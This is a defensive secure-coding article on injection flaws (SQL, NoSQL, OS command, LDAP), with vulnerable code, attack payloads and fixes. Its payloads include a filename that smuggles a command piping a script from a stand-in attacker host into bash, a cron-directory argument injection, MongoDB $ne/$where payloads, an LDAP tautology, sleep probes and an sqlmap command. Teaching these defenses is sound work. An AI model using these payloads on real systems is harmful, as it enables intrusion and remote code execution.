If you think injection is a solved problem — something developers figured out back in 2010 and moved on from — you’re going to have a bad time. OWASP A03 Injection has held a top-three position in every edition of the Top 10 for two decades straight. It dropped from #1 to #3 in 2021 not because apps got safer, but because the categories above it got more dangerous.
In 2026, injection vulnerabilities are still responsible for a massive share of confirmed breaches. The payloads changed, the databases changed, the architectures changed — but the root cause didn’t. Untrusted data flows into an interpreter without proper separation from the command structure, and the interpreter does exactly what it’s told.
This article covers four flavors: SQL, NoSQL, OS command, and LDAP injection. For each one we’ll look at a real-world attack vector, why it works, and how to actually fix it — not just slap a regex on top and call it done.
Why Injection Keeps Winning
The naive explanation is "developers are careless." That’s lazy. The real reason injection persists is structural.
Most injection bugs don’t look like the textbook ' OR 1=1 -- example. They appear in legacy codebases where string concatenation was the normal way to build queries. They appear in frameworks where the safe API exists but nobody enforced its use. They appear when a developer reaching for a quick dynamic query at 11 PM doesn’t realize that $_GET['sort'] is going directly into an ORDER BY clause that prepared statements can’t parameterize.
Add to this the explosion of NoSQL databases, GraphQL endpoints, and LDAP-backed auth systems — each with their own query languages and their own injection surface — and you have a much wider battlefield than the classic MySQL + PHP era.
SQL Injection: Not Dead, Just Wearing Different Clothes
Classic SQL injection is the one everyone learns. It’s also the one that still shows up in bug bounty programs weekly because developers treat parameterized queries as optional.
The Attack
Suppose you have a search endpoint:
# Python + raw psycopg2 — the wrong way
def search_users(username):
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
return cursor.fetchall()
Pass in admin' -- and the query becomes:
SELECT * FROM users WHERE username = 'admin' --'
The rest of the WHERE clause is commented out. You’re now authenticated as admin without knowing their password. Classic. Boring. Still works.
The more interesting variant in 2026 is second-order injection, where the payload is stored safely on first insertion (because you parameterized that write), then later concatenated into a dynamic query somewhere downstream. The initial write passes your WAF and looks clean. The damage happens when a background job or admin panel reads that stored value and uses it unsafely.
Another common one is ORDER BY injection, because most ORMs don’t let you parameterize column names or sort direction — those have to be interpolated. If your sort parameter comes from the client unchecked:
# Still wrong
query = f"SELECT id, name FROM products ORDER BY {sort_column} {sort_dir}"
An attacker passes sort_column=id,(SELECT SLEEP(5)) and suddenly you have time-based blind SQLi in what looks like a totally boring sort parameter.
The Fix
Use parameterized queries — always, without exceptions:
# Correct
def search_users(username):
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
return cursor.fetchall()
For the ORDER BY problem, whitelist-validate against a hardcoded set of allowed columns before interpolating:
ALLOWED_SORT_COLUMNS = {"id", "name", "created_at", "price"}
ALLOWED_SORT_DIRS = {"ASC", "DESC"}
def build_order_clause(col, direction):
if col not in ALLOWED_SORT_COLUMNS or direction not in ALLOWED_SORT_DIRS:
raise ValueError("Invalid sort parameters")
return f"ORDER BY {col} {direction}"
Gotcha: ORMs Don’t Make You Immune
SQLAlchemy, Django ORM, Hibernate — they’re parameterized by default, but every one of them exposes an escape hatch for raw queries. session.execute(text(query)), Model.objects.raw(query), entityManager.createNativeQuery(query) — all perfectly capable of being used unsafely. Just because you’re using an ORM doesn’t mean injection is off the table.
NoSQL Injection: Same Idea, Different Syntax
MongoDB, CouchDB, Elasticsearch — when these databases started replacing relational ones in new services, a lot of developers assumed "no SQL, no injection." Wrong assumption. The query structure changed; the vulnerability class didn’t.
The Attack
MongoDB queries are JSON-like objects. If you’re building them from user input in Node.js:
// Express + Mongoose — dangerous
app.post('/login', async (req, res) => {
const user = await User.findOne({
username: req.body.username,
password: req.body.password
});
// ...
});
If req.body comes in as parsed JSON (which Express does with express.json()), an attacker can send:
{
"username": "admin",
"password": { "$ne": null }
}
MongoDB interprets { "$ne": null } as "password is not equal to null" — which is true for every document that has a password field. You’re now authenticated as admin without knowing their password. The MongoDB $ne, $gt, $regex, and $where operators are the classic vehicles for this.
The $where operator is the nastiest one because it accepts a JavaScript string that MongoDB evaluates server-side:
{
"username": "admin",
"$where": "this.password.match(/.*/) || sleep(5000)"
}
That’s a time-based blind injection against your MongoDB instance.
The Fix
Never pass raw user-controlled objects directly into query builders. Explicitly extract and validate each field:
// Safe
app.post('/login', async (req, res) => {
const username = String(req.body.username);
const password = String(req.body.password);
const user = await User.findOne({ username, password });
// ...
});
String() coerces the input to a primitive — { "$ne": null } becomes "[object Object]", which won’t match anything. For production systems, add a schema validation layer (Joi, Zod, or mongoose schema strict mode) that rejects anything that isn’t the expected type before it reaches the query layer.
Disable $where entirely in your MongoDB config if you’re not using it:
# mongod.conf
security:
javascriptEnabled: false
Gotcha: Elasticsearch Is Also Injectable
Elasticsearch’s Query DSL is JSON-based and suffers from the same class of problems, especially when you’re building full-text search queries with user input. Passing unvalidated strings into "query_string" queries can expose internal fields or cause query-based DoS. Use "match" queries for user input, not "query_string".
OS Command Injection: The One That Gets You Root
If SQL injection gets an attacker your data, OS command injection gets them your server. It’s the injection class with the highest immediate blast radius.
The Attack
It shows up whenever an application shells out to run a system command and includes user input in that command. Classic examples: image resizing via ImageMagick, PDF generation via wkhtmltopdf, ping utilities, file conversion tools.
# Python — catastrophically wrong
import os
def convert_file(filename):
os.system(f"convert {filename} output.pdf")
Pass filename = "image.png; curl http://attacker.com/shell.sh | bash" and you’ve just piped a remote shell script into execution under the web server’s user context.
Even the "safer" subprocess.Popen is dangerous if you’re using shell=True:
# Still wrong — shell=True defeats the purpose
subprocess.Popen(f"convert {filename} output.pdf", shell=True)
The Fix
Pass arguments as a list, never as a string with shell=True. This bypasses the shell entirely — the OS exec syscall receives individual arguments, and there’s no shell metacharacter interpretation:
import subprocess
import shlex
def convert_file(filename):
# Validate filename first
if not filename.endswith(('.png', '.jpg', '.gif')):
raise ValueError("Unsupported file type")
# No shell=True, arguments as list
result = subprocess.run(
["convert", filename, "output.pdf"],
capture_output=True,
timeout=30,
check=True
)
return result
For anything that genuinely requires shell features (pipes, redirection), use a dedicated library instead of shelling out. Need to resize images? Use Pillow. Need to generate PDFs? Use ReportLab or WeasyPrint. Need to parse network data? Use a Python networking library. The rule of thumb: if you’re reaching for os.system() or shell=True, ask yourself whether a native library solves the same problem.
Gotcha: Argument Injection Is Separate From Command Injection
Even with argument lists, you can be vulnerable to argument injection — where the user-controlled input changes the behavior of the command via flags rather than injecting a second command.
# This is still wrong for untrusted filenames
subprocess.run(["curl", user_provided_url])
Passing --output /etc/cron.d/backdoor as part of user_provided_url (if it’s not validated as a URL) is argument injection. Whitelist expected inputs aggressively. If you expect a filename, validate it’s a valid filename, not a flag.
LDAP Injection: The Forgotten One
LDAP injection is the redheaded stepchild of the injection family. It shows up almost exclusively in enterprise environments and internal tooling that’s connected to Active Directory or OpenLDAP for authentication. Developers who’ve never touched LDAP don’t think about it. That’s exactly why it persists.
The Attack
LDAP filters are string-based and built with special characters like (, ), *, \, and NUL. If you’re building a filter from user input:
// Java — wrong
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
DirContext ctx = new InitialDirContext(env);
NamingEnumeration<?> result = ctx.search(base, filter, searchControls);
An attacker submits username = admin)(|(uid=* to craft a filter like:
(&(uid=admin)(|(uid=*)(userPassword=anything))
This becomes a tautology that matches all users. Authentication bypassed.
The wildcard variant is even simpler: submit * as the username and you get all users returned from the directory.
The Fix
Use LDAP escaping on all user input before it touches a filter string. Most LDAP libraries provide this:
// Java with Spring LDAP — correct
import org.springframework.ldap.filter.AndFilter;
import org.springframework.ldap.filter.EqualsFilter;
AndFilter filter = new AndFilter();
filter.and(new EqualsFilter("uid", username));
filter.and(new EqualsFilter("userPassword", password));
ldapTemplate.authenticate(base, filter.encode(), password);
In Python with python-ldap:
import ldap
import ldap.filter
def authenticate_user(username, password):
# Escape special characters
safe_username = ldap.filter.escape_filter_chars(username)
filter_str = f"(uid={safe_username})"
conn = ldap.initialize("ldap://ldap.internal")
conn.simple_bind_s(f"uid={safe_username},ou=users,dc=example,dc=com", password)
result = conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter_str)
return result
Gotcha: DN Injection Is Different From Filter Injection
Distinguished Name injection happens when user input is concatenated into the DN itself, not the filter. The escape function for DNs (escape_dn_chars) is different from the one for filters (escape_filter_chars). Using the wrong one leaves a gap. Most tutorials don’t distinguish between these two. Check your library docs and use the correct escape function for the context.
Defense in Depth: The Layers That Actually Matter
Fixing individual injection points is necessary but not sufficient. Production-grade defense looks like a stack:
Input validation at the boundary. Validate type, length, and format at the entry point — the HTTP request handler, the message queue consumer, the webhook receiver. Reject inputs that don’t conform before they go anywhere near business logic. Schema validation (Pydantic, Zod, Joi, Marshmallow) gives you this for free if you use it consistently.
Parameterized APIs at the data layer. No exceptions. Code review policies should flag any string concatenation that touches a query. Linters like semgrep have rules for this — run them in CI.
Principle of least privilege for service accounts. Your web app’s database user should not have DROP TABLE privileges. Your LDAP bind account should be read-only unless writes are explicitly required. When an injection attack lands, the blast radius is directly proportional to the privileges the compromised account holds.
WAF as a detection layer, not a fix. Web Application Firewalls catch known payloads and buy you time. They’re not a substitute for fixing the underlying code. Attackers regularly bypass WAFs with encoding tricks, chunked requests, and case variations. Use a WAF for logging and early detection; fix the code for actual security.
Static analysis in the pipeline. Tools like Semgrep, Bandit (Python), Brakeman (Ruby), or Snyk can catch injection-prone patterns before code ships. They’re not perfect, but they catch the obvious stuff automatically — which is where most real-world bugs live anyway.
A Word on the "But We Have an ORM / We Use a NoSQL DB / We’re on GraphQL" Crowd
Every few years the industry moves to a new abstraction layer that’s supposed to make injection obsolete. ORMs were supposed to kill SQL injection. NoSQL was supposed to kill SQL injection by removing SQL. GraphQL was supposed to kill injection by being typed.
None of it worked, because the problem isn’t the query language. It’s the habit of treating untrusted input as trusted. GraphQL has its own injection surface — field injection, introspection abuse, deeply nested query DoS. New query languages, new injection vectors.
The mindset that matters is simple: data and instructions are different things and must never be mixed. Every framework, every database, every language provides ways to keep them separate. Use those ways.
Quick Reference: What to Use and What to Avoid
| Injection Type | Avoid | Use Instead |
|---|---|---|
| SQL | String concatenation, shell=True queries |
Parameterized queries, prepared statements |
| NoSQL (MongoDB) | Passing raw request body to queries | Explicit field extraction, schema validation, disable $where |
| OS Command | os.system(), shell=True, exec() |
subprocess.run() with args list, native libraries |
| LDAP | Raw string filter building | escape_filter_chars() / escape_dn_chars(), framework filters |
Testing Your Own Code
If you want to see whether your app is actually safe, don’t just read the code — attack it.
sqlmap remains the standard for automated SQL injection testing. Point it at an authenticated session and let it work: sqlmap -u "https://app.internal/search?q=test" --cookie="session=..." --level=5 --risk=3
NoSQLMap does the equivalent for MongoDB and CouchDB endpoints.
For OS command injection, manual testing with payloads like ; sleep 5, | sleep 5, and `sleep 5` in every string input field gives you time-based detection — if the response takes 5+ seconds, you have a hit.
Burp Suite with the active scanner enabled will catch LDAP injection patterns in login forms automatically.
Run these against your staging environment. Not production. If you find something in staging, assume it’s in production too and treat it as an incident, not a to-do item.
Injection is not a relic. It’s a living vulnerability class that adapts to whatever stack your industry adopts next. The fundamentals of the fix — separate data from instructions, validate at the boundary, use the safe APIs your frameworks already provide — have been stable for twenty years. The work is in applying them consistently, under deadline pressure, across legacy codebases where the path of least resistance is always the unsafe string concat.
That’s the hard part. The knowledge isn’t scarce. The discipline is.